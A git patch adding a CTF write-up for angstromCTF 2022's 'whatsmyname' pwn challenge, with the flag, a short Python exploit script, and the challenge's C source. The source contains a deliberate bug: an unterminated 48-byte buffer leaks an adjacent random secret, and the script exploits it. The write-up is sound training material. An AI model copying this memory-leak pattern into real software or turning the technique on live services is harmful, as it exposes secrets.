From 8456a85a083c7cbc957e6a9176c0c7a608b63283 Mon Sep 17 00:00:00 2001
From: Malfurious <m@lfurio.us>
Date: Sat, 7 May 2022 22:52:52 -0400
Subject: Writeup angstromCTF 2022 / whatsmyname

Signed-off-by: Malfurious <m@lfurio.us>
---
 docs/writeups/angstromCTF_2022/whatsmyname.txt | 115 +++++++++++++++++++++++++
 1 file changed, 115 insertions(+)
 create mode 100644 docs/writeups/angstromCTF_2022/whatsmyname.txt

(limited to 'docs')

diff --git a/docs/writeups/angstromCTF_2022/whatsmyname.txt b/docs/writeups/angstromCTF_2022/whatsmyname.txt
new file mode 100644
index 0000000..9fc3fd7
--- /dev/null
+++ b/docs/writeups/angstromCTF_2022/whatsmyname.txt
@@ -0,0 +1,115 @@
+Can you guess my name?
+
+Category:       pwn (50 points)
+Chall author:   JoshDaBosh
+Writeup author: malfurious
+
+
+
+The problem gives us an ELF binary, it's source code, and a netcat endpoint
+hosting the service.   The program asks us for our name, then asks us to guess
+it's name, which is initialized to random data gathered from /dev/urandom.
+
+All character buffers are allocated to 48 bytes in size, and all input functions
+properly bound memory to avoid buffer overruns.  However, after we enter our
+name, the program prints it back to us with a greeting.  Because the two name
+strings are adjacent in memory, with the user's name coming first, we can leak
+the random service name by filling the user's name buffer completely to avoid
+its NULL terminator.
+
+Take note that the output is appended with a "!" character.  I missed this
+initially, and spent far too long trying to debug the situation.
+
+Our guess is compared to the real service name with strncmp(name, guess, 48) == 0.
+
+Our guess is read by the binary with scanf("%48s[^\n]", guess).  The '[^\n]'
+portion should cause reading to stop at the first newline.  However, this is
+redundant with how %s works anyway.  '%s' stops reading its input at _any_
+whitespace, including:
+
+    0x20    space
+    0x09    horizontal tab
+    0x0a    newline
+    0x0b    vertical tab
+    0x0c    feed
+    0x0d    carriage return
+
+This means that sending the correct guess would be impossible on any run where
+these 6 bytes were present in the random data.  On a lucky run (lacking any of
+the whitespace chars), sending the leaked data will result in the flag being
+printed.
+
+actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}
+
+
+
+Solution (Python/sploit)
+------------------------
+#!/usr/bin/sploit
+from sploit.payload import Payload
+from sploit.until import contains
+io.logonwrite = True
+
+pref = b'Nice to meet you, '
+size = 48
+
+io.write(Payload().rep(b'A', size)())
+
+io.readuntil(contains, pref)
+io.read(size) # our name
+leak = io.read(size)[:-1] # [-1] to strip the trailing '!'
+
+io.writeline(leak)
+
+
+
+Original source (C): whatsmyname.c
+----------------------------------
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+static void generate_name(char *str)
+{
+    FILE *file = fopen("/dev/urandom","r");
+        fgets(str, 48, file);
+        fclose(file);
+}
+
+int main(){
+    char yourName[48];
+    char myName[48];
+
+    char guess[48];
+
+    setbuf(stdout, NULL);
+
+    generate_name(myName);
+
+    printf("Hi! What's your name? ");
+
+    int n = read(0, yourName, 48);
+    if (yourName[n-1] == '\n') yourName[n-1] = '\x00';
+
+    printf("Nice to meet you, %s!\n", yourName);
+
+    puts("Guess my name and you'll get a flag!");
+
+    scanf("%48s[^\n]", guess);
+
+    if (strncmp(myName, guess, 48) == 0){
+        char flag[128];
+
+                FILE *file = fopen("flag.txt","r");
+                if (!file) {
+                    puts("Error: missing flag.txt.");
+                    exit(1);
+                }
+
+                fgets(flag, 128, file);
+                puts(flag);
+    }
+
+    puts("Bye!");
+    return 0;
+}
-- 
cgit v1.2.3